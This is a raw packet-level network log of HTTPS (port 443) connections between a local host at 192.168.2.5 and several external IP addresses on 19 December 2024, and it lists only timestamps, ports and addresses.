Dec 19, 2024 15:13:34.053848982 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:34.053975105 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:34.054147959 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:34.054162979 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:34.054333925 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.057841063 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.057859898 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.061974049 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:34.108939886 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.108957052 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.155265093 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.157618999 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.159810066 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.159877062 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.159883976 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.160105944 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.160206079 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.160288095 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:34.160299063 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:34.218945026 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:34.218978882 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:34.219181061 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:34.219850063 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:34.219861984 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.439903975 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.440164089 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.440181971 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.441854954 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.441921949 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.448579073 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.448658943 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.448668957 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.448772907 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.448781967 CET	443	49728	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.448792934 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.448844910 CET	49728	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.449260950 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.449297905 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.449429035 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.449649096 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:35.449662924 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:35.988890886 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:35.989330053 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:35.989377975 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:35.989712000 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:35.989784956 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:35.990320921 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:35.990384102 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:35.990643024 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:35.990736961 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:35.990947962 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:35.990966082 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.031379938 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.422920942 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.422950029 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.422957897 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.423017979 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.423064947 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.467932940 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.598681927 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.598692894 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.598721027 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.598728895 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.598759890 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.598798990 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.598833084 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.598856926 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.626662970 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.626734972 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.626754045 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.648117065 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.648194075 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.648210049 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.667215109 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.667292118 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.667308092 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.680083990 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.680311918 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.680320978 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.681762934 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.681823969 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.683017969 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.683231115 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.683235884 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.683303118 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.688080072 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.688106060 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.688147068 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.688177109 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.688205004 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.728183031 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.728194952 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:36.728250027 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.780297995 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:36.789484024 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.789493084 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.789558887 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.789592028 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.806096077 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.806103945 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.806178093 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.806197882 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.818501949 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.818510056 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.818568945 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.818588018 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.828376055 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.828383923 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.828444958 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.828460932 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.842293978 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.842303991 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.842366934 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.842385054 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866857052 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866864920 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866889000 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866898060 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866925955 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.866952896 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.866966963 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.909136057 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.983706951 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.983716011 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.983738899 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.983746052 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.983779907 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.983818054 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:36.983845949 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:36.983872890 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.000061035 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.000068903 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.000086069 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.000127077 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.000144958 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.000171900 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.000310898 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.017860889 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.017893076 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.017936945 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.017952919 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.017990112 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.017990112 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.034625053 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.034641027 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.034702063 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.034717083 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.034771919 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.049628973 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.049643993 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.049695969 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.049721003 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.049747944 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.049768925 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.058310986 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.058382034 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.058397055 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.075551987 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.075566053 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.075634956 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.075655937 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.083048105 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.083116055 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.083131075 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.092855930 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.092931032 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.092950106 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.100415945 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.100476980 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.100492954 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.156233072 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.170780897 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.170790911 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.170850992 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.170886040 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.175955057 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.176023960 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.176039934 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.189038992 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.189055920 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.189090967 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.189109087 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.189126015 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.189162016 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.201319933 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.201334953 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.201395035 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.201414108 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.211338043 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.211366892 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.211376905 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.211409092 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.211426973 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.211456060 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.222588062 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.222604990 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.222657919 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.222676039 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.227744102 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.227807045 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.227822065 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.230448008 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.230534077 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.230547905 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.236588955 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.236598969 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.236669064 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.236686945 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.242830038 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.242846966 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.242893934 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.242917061 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.242923021 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.292768002 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.390399933 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.390408039 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.390429020 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.390465975 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.390475988 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.390505075 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.390535116 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.390558004 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.396409988 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.396436930 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.396604061 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.396619081 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.396687984 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.401819944 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.401835918 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.401896000 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.401910067 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.401967049 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.408112049 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.408134937 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.408176899 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.408196926 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.408221006 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.408257008 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.411278009 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.411346912 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.411360979 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.413609028 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.413671017 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.413688898 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.416949987 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.417009115 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.417023897 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.419574976 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.419639111 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.419655085 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.425656080 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.425707102 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.425760031 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.425777912 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.425853968 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.431830883 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.431849003 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.431920052 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.431936026 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.474006891 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.618370056 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.618391037 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.618451118 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.618479967 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.618505001 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.618551970 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.624695063 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.624713898 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.624782085 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.624797106 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.625159025 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.627070904 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.627140999 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.627155066 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.629486084 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.629549980 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.629570007 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.629595995 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:37.629651070 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.629863977 CET	49726	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:37.629888058 CET	443	49726	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:39.502770901 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:39.503042936 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:39.503108025 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:39.504684925 CET	49729	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:39.504699945 CET	443	49729	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:39.656411886 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:39.656441927 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:39.656502008 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:39.656850100 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:39.656867981 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.970526934 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.979610920 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.979628086 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.981070042 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.981144905 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.995845079 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.995872021 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.995910883 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.996056080 CET	443	49731	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.996145964 CET	49731	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.996268988 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.996306896 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:40.996371031 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.996556044 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:40.996563911 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.213252068 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.213629007 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.213653088 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.214737892 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.214802027 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.215329885 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.215389967 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.215617895 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.215624094 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.264834881 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.567640066 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:42.567713976 CET	443	49738	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:42.567816019 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:42.588707924 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:42.588747978 CET	443	49738	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:42.675723076 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.675810099 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.675971031 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.676445007 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.676445007 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.676466942 CET	443	49733	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:42.676604033 CET	49733	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:42.712404966 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:42.712443113 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:42.712529898 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:42.712750912 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:42.712769985 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:43.690875053 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:43.690947056 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:43.691071033 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:43.810950041 CET	443	49738	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:43.811449051 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.811500072 CET	443	49738	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:43.813009024 CET	443	49738	172.67.139.114	192.168.2.5
